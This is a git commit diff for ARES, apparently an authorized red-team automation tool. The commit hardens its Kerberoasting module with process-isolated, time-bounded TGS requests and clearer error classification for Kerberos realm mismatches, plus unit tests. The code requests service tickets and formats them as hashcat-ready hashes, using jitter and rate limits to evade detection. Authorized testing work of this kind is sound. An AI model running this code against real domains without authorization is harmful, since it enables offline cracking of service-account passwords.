ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
fix: bound Kerberoast TGS timeout and classify lab errors
Mafifrizif08e57610b85
diff --git a/ares/core/engine.py b/ares/core/engine.pyindex ff9c1c4..caa4e7e 100644--- a/ares/core/engine.py+++ b/ares/core/engine.py@@ -80,6 +80,14 @@ def normalize_module_outcome("Kerberos clock skew too great; sync the operator host and domain controller time, then rerun.",)error_text = str(error or "").strip()+ if (+ "kdc_err_wrong_realm" in error_text.lower()+ or "kerberos realm mismatch" in error_text.lower()+ ):+ return (+ "operator_error",+ "Kerberos realm mismatch; use the AD DNS domain/realm such as lab.local or LAB.LOCAL, not the DC IP address.",+ )if ("ldap/spn enumeration succeeded and found" in error_text.lower()and "before a hash was confirmed" in error_text.lower()@@ -200,7 +208,7 @@ class EngineModuleResult(BaseModel):]elif self.outcome == "network_error" and "before a hash was confirmed" in self.outcome_message.lower():self.operator_next_steps = [- "Verify DC/KDC reachability on port 88, clock synchronization, and Kerberos service health, then rerun."+ "Verify DC/KDC reachability on port 88, clock synchronization, Kerberos service health, and account/SPN validity, then rerun."]@property@@ -519,6 +527,12 @@ class AresEngine:attempt=attempt,timeout_seconds=effective_timeout,)+ except AresError as re:+ _last_exc = re+ _action = re.action+ logger.warning("engine_retry_failed", module_id=module_id, attempt=attempt, re=re)+ if _action != AresError.RETRY:+ breakexcept Exception as re:_last_exc = relogger.warning("engine_retry_failed", module_id=module_id, attempt=attempt, re=re)diff --git a/ares/modules/ad/kerberoast.py b/ares/modules/ad/kerberoast.pyindex 1ec2898..a14bb4d 100644--- a/ares/modules/ad/kerberoast.py+++ b/ares/modules/ad/kerberoast.py@@ -1,5 +1,7 @@from __future__ import annotationsimport asyncio+import multiprocessing+import time"""Kerberoasting — impacket.krb5.kerberosv5 low-level API (impacket ≥0.11 compatible)MITRE: T1558.003 — Jitter + rate-limited TGS requests, hashcat-ready output.@@ -32,6 +34,121 @@ def format_kerberoast_tgs_timeout(candidate_count: int) -> str:)+def format_kerberos_realm_mismatch() -> str:+ return (+ "Kerberos realm mismatch; use the AD DNS domain/realm such as "+ "lab.local or LAB.LOCAL, not the DC IP address."+ )+++def _kerberos_tgs_worker(+ connection: Any,+ spn: str,+ domain: str,+ dc: str,+ tgt: Any,+ cipher: Any,+ session_key: Any,+) -> None:+ """Run one blocking Impacket TGS request in a killable child process."""+ try:+ from impacket.krb5.kerberosv5 import getKerberosTGS+ from impacket.krb5.types import Principal+ from impacket.krb5 import constants++ server_name = Principal(+ spn,+ type=constants.PrincipalNameType.NT_SRV_INST.value,+ )+ tgs, _, _, _ = getKerberosTGS(+ serverName=server_name,+ domain=domain.upper(),+ kdcHost=dc,+ tgt=tgt,+ cipher=cipher,+ sessionKey=session_key,+ )+ connection.send(("ok", tgs))+ except BaseException as exc:+ try:+ connection.send(("error", exc.__class__.__name__, str(exc)[:160]))+ except Exception:+ pass+ finally:+ connection.close()+++def _terminate_tgs_process(process: Any) -> None:+ if not process.is_alive():+ process.join(timeout=0)+ return+ process.terminate()+ process.join(timeout=1)+ if process.is_alive() and hasattr(process, "kill"):+ process.kill()+ process.join(timeout=1)+++async def _run_tgs_request_process(+ *,+ spn: str,+ domain: str,+ dc: str,+ tgt: Any,+ cipher: Any,+ session_key: Any,+ timeout_seconds: float,+ worker: Any = _kerberos_tgs_worker,+) -> bytes:+ """Run one synchronous TGS request behind a hard process timeout."""+ context = multiprocessing.get_context("spawn")+ parent_connection, child_connection = context.Pipe(duplex=False)+ process = context.Process(+ target=worker,+ args=(child_connection, spn, domain, dc, tgt, cipher, session_key),+ )+ started = False+ try:+ process.start()+ started = True+ child_connection.close()++ deadline = time.monotonic() + timeout_seconds+ while process.is_alive():+ remaining = deadline - time.monotonic()+ if remaining <= 0:+ _terminate_tgs_process(process)+ logger.warning(+ "kerberoast_tgs_worker_timeout",+ timeout_seconds=timeout_seconds,+ )+ raise asyncio.TimeoutError+ await asyncio.sleep(min(0.05, remaining))++ process.join(timeout=0)+ if not parent_connection.poll():+ raise RuntimeError("Kerberos TGS worker exited without a result.")+ response = parent_connection.recv()+ if response[0] == "error":+ raise RuntimeError(+ f"Kerberos TGS request failed: {response[1]}: {response[2]}"+ )+ if response[0] != "ok":+ raise RuntimeError("Kerberos TGS worker returned an invalid result.")+ return response[1]+ finally:+ if started and process.is_alive():+ _terminate_tgs_process(process)+ try:+ child_connection.close()+ except (OSError, ValueError):+ pass+ try:+ parent_connection.close()+ except (OSError, ValueError):+ pass++def _format_krb5tgs_hash(tgs: bytes, cipher: "Any", spn: str, domain: str) -> str:"""Convert raw impacket TGS response to $krb5tgs$ format for hashcat mode 13100/19700.@@ -225,7 +342,7 @@ class KerberoastModule(BaseModule):("impacket", "pyasn1", "pyasn1_modules"),module_id=self.MODULE_ID,)- from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS+ from impacket.krb5.kerberosv5 import getKerberosTGTfrom impacket.krb5.types import Principalfrom impacket.krb5 import constants@@ -266,6 +383,12 @@ class KerberoastModule(BaseModule):domain=domain,service="Kerberos",) from exc+ if "kdc_err_wrong_realm" in err or "wrong realm" in err:+ raise ModuleValidationError(+ format_kerberos_realm_mismatch(),+ module_id=self.MODULE_ID,+ field="domain",+ ) from excraise# Step 2: Query SPN list via LDAP if no target_user specified@@ -292,6 +415,10 @@ class KerberoastModule(BaseModule):logger.warning("kerberoast_spn_lookup_failed", error=str(exc)[:80])self._last_spn_count = len(spn_list)+ logger.info(+ "kerberoast_spn_candidates",+ count=self._last_candidate_count,+ )if not spn_list:return [], []@@ -299,29 +426,45 @@ class KerberoastModule(BaseModule):# Step 3: Request TGS per SPN with per-ticket jitter + rate limithashes: list[str] = []accounts: list[dict] = []-- def _get_tgs(spn: str):- server_name = Principal(- spn,- type=constants.PrincipalNameType.NT_SRV_INST.value,- )- return getKerberosTGS(- serverName = server_name,- domain = domain.upper(),- kdcHost = dc,- tgt = tgt,- cipher = cipher,- sessionKey = session_key,- )+ tgs_collection_deadline = (+ time.monotonic() + KERBEROS_TGS_TIMEOUT_SECONDS+ )for i, spn in enumerate(spn_list):+ remaining = tgs_collection_deadline - time.monotonic()+ if remaining <= 0:+ logger.warning(+ "kerberoast_tgs_worker_timeout",+ timeout_seconds=KERBEROS_TGS_TIMEOUT_SECONDS,+ )+ logger.warning(+ "kerberoast_tgs_timeout_classified",+ candidates=self._last_candidate_count,+ )+ raise ModuleValidationError(+ format_kerberoast_tgs_timeout(self._last_candidate_count),+ module_id=self.MODULE_ID,+ field="kerberos_tgs",+ )try:- tgs, tgs_cipher, _, tgs_sk = await asyncio.wait_for(- loop.run_in_executor(None, _get_tgs, spn),- timeout=KERBEROS_TGS_TIMEOUT_SECONDS,+ logger.info(+ "kerberoast_tgs_worker_start",+ candidate=spn[:120],+ )+ tgs = await asyncio.wait_for(+ _run_tgs_request_process(+ spn=spn,+ domain=domain,+ dc=dc,+ tgt=tgt,+ cipher=cipher,+ session_key=session_key,+ timeout_seconds=KERBEROS_TGS_TIMEOUT_SECONDS,+ ),+ timeout=remaining,)# Format as $krb5tgs$ hash for hashcat- hash_str = _format_krb5tgs_hash(tgs, tgs_cipher, spn, domain)+ hash_str = _format_krb5tgs_hash(tgs, None, spn, domain)if hash_str:hashes.append(hash_str)accounts.append({@@ -330,6 +473,10 @@ class KerberoastModule(BaseModule):"hash": hash_str[:60] + "...",})except asyncio.TimeoutError as exc:+ logger.warning(+ "kerberoast_tgs_timeout_classified",+ candidates=self._last_candidate_count,+ )raise ModuleValidationError(format_kerberoast_tgs_timeout(self._last_candidate_count),module_id=self.MODULE_ID,diff --git a/tests/unit/test_ad_bind_behavior.py b/tests/unit/test_ad_bind_behavior.pyindex 69d2bd4..05be045 100644--- a/tests/unit/test_ad_bind_behavior.py+++ b/tests/unit/test_ad_bind_behavior.py@@ -84,15 +84,13 @@ def _install_fake_ldap3(monkeypatch, *, bind_outcomes=None):return FakeConnection-def _install_fake_kerberos(monkeypatch, *, tgt_error=None, tgs_delay=0):+def _install_fake_kerberos(monkeypatch, *, tgt_error=None):def get_kerberos_tgt(**kwargs):if tgt_error is not None:raise tgt_errorreturn b"tgt", "cipher", b"old_session", b"session"def get_kerberos_tgs(**kwargs):- if tgs_delay:- time.sleep(tgs_delay)return b"tgs", "tgs_cipher", b"old", b"tgs_session"class _PrincipalNameTypeValue:@@ -131,6 +129,10 @@ def _install_fake_kerberos(monkeypatch, *, tgt_error=None, tgs_delay=0):monkeypatch.setitem(sys.modules, "pyasn1_modules", types.ModuleType("pyasn1_modules"))+def _blocking_tgs_worker(connection, *args):+ time.sleep(5)++def test_ad_username_sanitizer_preserves_upn_and_explicit_netbios():from ares.modules.ad.dependencies import sanitize_ad_username@@ -307,6 +309,29 @@ async def test_kerberoast_invalid_tgt_credentials_are_nonretryable(monkeypatch):assert "WrongPassword1!" not in str(exc_info.value)+async def test_kerberoast_wrong_realm_is_nonretryable(monkeypatch):+ import ares.modules.ad.kerberoast as kerberoast_mod+ from ares.modules.ad.kerberoast import KerberoastModule++ _install_fake_kerberos(monkeypatch, tgt_error=Exception("KDC_ERR_WRONG_REALM"))+ module, _ = _make_module(KerberoastModule)++ with pytest.raises(ModuleValidationError) as exc_info:+ await module._request_tickets(+ "10.0.0.5",+ "[email protected]",+ "UserLab!2026",+ "10.0.0.5",+ None,+ )++ assert exc_info.value.action == "abort"+ assert exc_info.value.field == "domain"+ assert str(exc_info.value) == kerberoast_mod.format_kerberos_realm_mismatch()+ assert "UserLab!2026" not in str(exc_info.value)++@pytest.mark.asyncioasync def test_kerberoast_spn_lookup_consumes_enum_spn_output_key(monkeypatch):import ares.modules.ad.kerberoast as kerberoast_mod@@ -315,6 +340,11 @@ async def test_kerberoast_spn_lookup_consumes_enum_spn_output_key(monkeypatch):_install_fake_kerberos(monkeypatch)+ async def fake_tgs_process(**kwargs):+ return b"tgs"++ monkeypatch.setattr(kerberoast_mod, "_run_tgs_request_process", fake_tgs_process)+async def fake_enum_spn_run(*args, **kwargs):return [], {"spn_list": [{"spn_list": ["HTTP/web.lab.local"]}]}@@ -344,7 +374,7 @@ async def test_kerberoast_tgs_timeout_after_spn_enumeration_is_actionable(monkeyfrom ares.modules.ad.enum_spn import ADEnumSPNModulefrom ares.modules.ad.kerberoast import KerberoastModule- _install_fake_kerberos(monkeypatch, tgs_delay=0.05)+ _install_fake_kerberos(monkeypatch)monkeypatch.setattr(kerberoast_mod, "KERBEROS_TGS_TIMEOUT_SECONDS", 0.01)async def fake_enum_spn_run(*args, **kwargs):@@ -356,8 +386,15 @@ async def test_kerberoast_tgs_timeout_after_spn_enumeration_is_actionable(monkey}monkeypatch.setattr(ADEnumSPNModule, "run", fake_enum_spn_run)+ real_process = kerberoast_mod._run_tgs_request_process++ async def blocking_tgs_process(**kwargs):+ return await real_process(worker=_blocking_tgs_worker, **kwargs)++ monkeypatch.setattr(kerberoast_mod, "_run_tgs_request_process", blocking_tgs_process)module, _ = _make_module(KerberoastModule)+ started = time.monotonic()with pytest.raises(ModuleValidationError) as exc_info:await module._request_tickets("10.0.0.5",@@ -366,8 +403,58 @@ async def test_kerberoast_tgs_timeout_after_spn_enumeration_is_actionable(monkey"lab.local",None,)+ assert time.monotonic() - started < 1.0assert exc_info.value.action == "abort"assert "LDAP/SPN enumeration succeeded and found 2 Kerberoastable candidate account(s)" in str(exc_info.value)assert "Kerberos TGS request timed out before a hash was confirmed" in str(exc_info.value)assert "Password1!" not in str(exc_info.value)+++async def test_kerberoast_tgs_collection_window_precedes_engine_timeout(monkeypatch):+ import ares.modules.ad.kerberoast as kerberoast_mod+ from ares.modules.ad.enum_spn import ADEnumSPNModule+ from ares.modules.ad.kerberoast import KerberoastModule++ _install_fake_kerberos(monkeypatch)+ monkeypatch.setattr(kerberoast_mod, "KERBEROS_TGS_TIMEOUT_SECONDS", 0.01)++ async def fake_enum_spn_run(*args, **kwargs):+ return [], {+ "spn_list": [+ {"name": "svc-web", "spn_list": ["HTTP/web.lab.local"]},+ {"name": "svc-sql", "spn_list": ["MSSQLSvc/sql.lab.local"]},+ {"name": "svc-api", "spn_list": ["HTTP/api.lab.local"]},+ ]+ }++ async def slow_tgs_process(**kwargs):+ time.sleep(0.02)+ return b"tgs"++ async def no_sleep(*args):+ return None++ monkeypatch.setattr(ADEnumSPNModule, "run", fake_enum_spn_run)+ monkeypatch.setattr(kerberoast_mod, "_run_tgs_request_process", slow_tgs_process)+ monkeypatch.setattr(kerberoast_mod, "_format_krb5tgs_hash", lambda *args: "")+ module, _ = _make_module(KerberoastModule)+ monkeypatch.setattr(module.noise.jitter, "sleep", no_sleep)+ monkeypatch.setattr(kerberoast_mod.asyncio, "sleep", no_sleep)++ started = time.monotonic()+ with pytest.raises(ModuleValidationError) as exc_info:+ await module._request_tickets(+ "10.0.0.5",+ "[email protected]",+ "Password1!",+ "lab.local",+ None,+ )++ assert time.monotonic() - started < 0.5+ assert exc_info.value.action == "abort"+ assert "found 3 Kerberoastable candidate account(s)" in str(exc_info.value)+ assert "Kerberos TGS request timed out before a hash was confirmed" in str(exc_info.value)+ assert "Password1!" not in str(exc_info.value)diff --git a/tests/unit/test_engine.py b/tests/unit/test_engine.pyindex bd44d65..593204d 100644--- a/tests/unit/test_engine.py+++ b/tests/unit/test_engine.py@@ -189,6 +189,57 @@ class TestAsyncEngine:assert result.outcome == "network_error"assert "found 2 Kerberoastable candidate account(s)" in result.outcome_messageassert "Kerberos TGS request timed out" in result.outcome_message+ assert "port 88" in result.operator_next_steps[0]+ assert "clock synchronization" in result.operator_next_steps[0]+ assert "Kerberos service health" in result.operator_next_steps[0]+ assert "account/SPN validity" in result.operator_next_steps[0]++ @pytest.mark.asyncio+ async def test_retry_stops_when_retry_attempt_classifies_tgs_timeout(+ self, settings: AresSettings, campaign: Campaign+ ) -> None:+ from ares.core.errors import ModuleValidationError, NetworkError+ from ares.modules.ad.kerberoast import (+ KerberoastModule,+ format_kerberoast_tgs_timeout,+ )++ engine = AresEngine(settings=settings)+ engine.load_modules()+ calls = 0++ async def transient_then_classified(self_unused: Any, ctx: Any) -> Any:+ nonlocal calls+ calls += 1+ if calls == 1:+ raise NetworkError("temporary KDC reachability failure")+ raise ModuleValidationError(+ format_kerberoast_tgs_timeout(2),+ module_id="ad.kerberoast",+ field="kerberos_tgs",+ )++ params = {+ "dc": "10.0.0.5",+ "domain": "corp.local",+ "username": "svc-roast",+ "password": "Passw0rd!",+ "target_user": "sqlsvc",+ }+ with patch.object(KerberoastModule, "execute", transient_then_classified), \+ patch("ares.core.engine.asyncio.sleep", new=AsyncMock()) as retry_sleep:+ result = await engine.run_module(+ "ad.kerberoast",+ campaign,+ params,+ actor_role="team_lead",+ )++ assert calls == 2+ assert retry_sleep.await_count == 1+ assert result.outcome == "network_error"+ assert "found 2 Kerberoastable candidate account(s)" in result.outcome_message+ assert "Kerberos TGS request timed out" in result.outcome_message@pytest.mark.asyncioasync def test_run_module_timeout(diff --git a/tests/unit/test_module_contracts.py b/tests/unit/test_module_contracts.pyindex d03ba4f..1abe236 100644--- a/tests/unit/test_module_contracts.py+++ b/tests/unit/test_module_contracts.py@@ -225,6 +225,13 @@ def test_engine_done_without_findings_has_explicit_outcome():"Kerberos clock skew too great; sync the operator host and domain controller time, then rerun.")assert clock_skew.operator_next_steps+ realm_mismatch = EngineModuleResult(+ module_id="ad.kerberoast",+ status=ModuleStatus.FAILED,+ error="KDC_ERR_WRONG_REALM",+ )+ assert realm_mismatch.outcome == "operator_error"+ assert "Kerberos realm mismatch" in realm_mismatch.outcome_messageassert "Passw0rd!" not in (secret_error.error or "")assert "secret-token" not in (secret_error.error or "")@@ -255,5 +262,5 @@ def test_ad_empty_results_have_operator_facing_classification():assert timeout.outcome != "module_error"assert timeout.outcome_message == timeout_messageassert timeout.operator_next_steps == [- "Verify DC/KDC reachability on port 88, clock synchronization, and Kerberos service health, then rerun."+ "Verify DC/KDC reachability on port 88, clock synchronization, Kerberos service health, and account/SPN validity, then rerun."]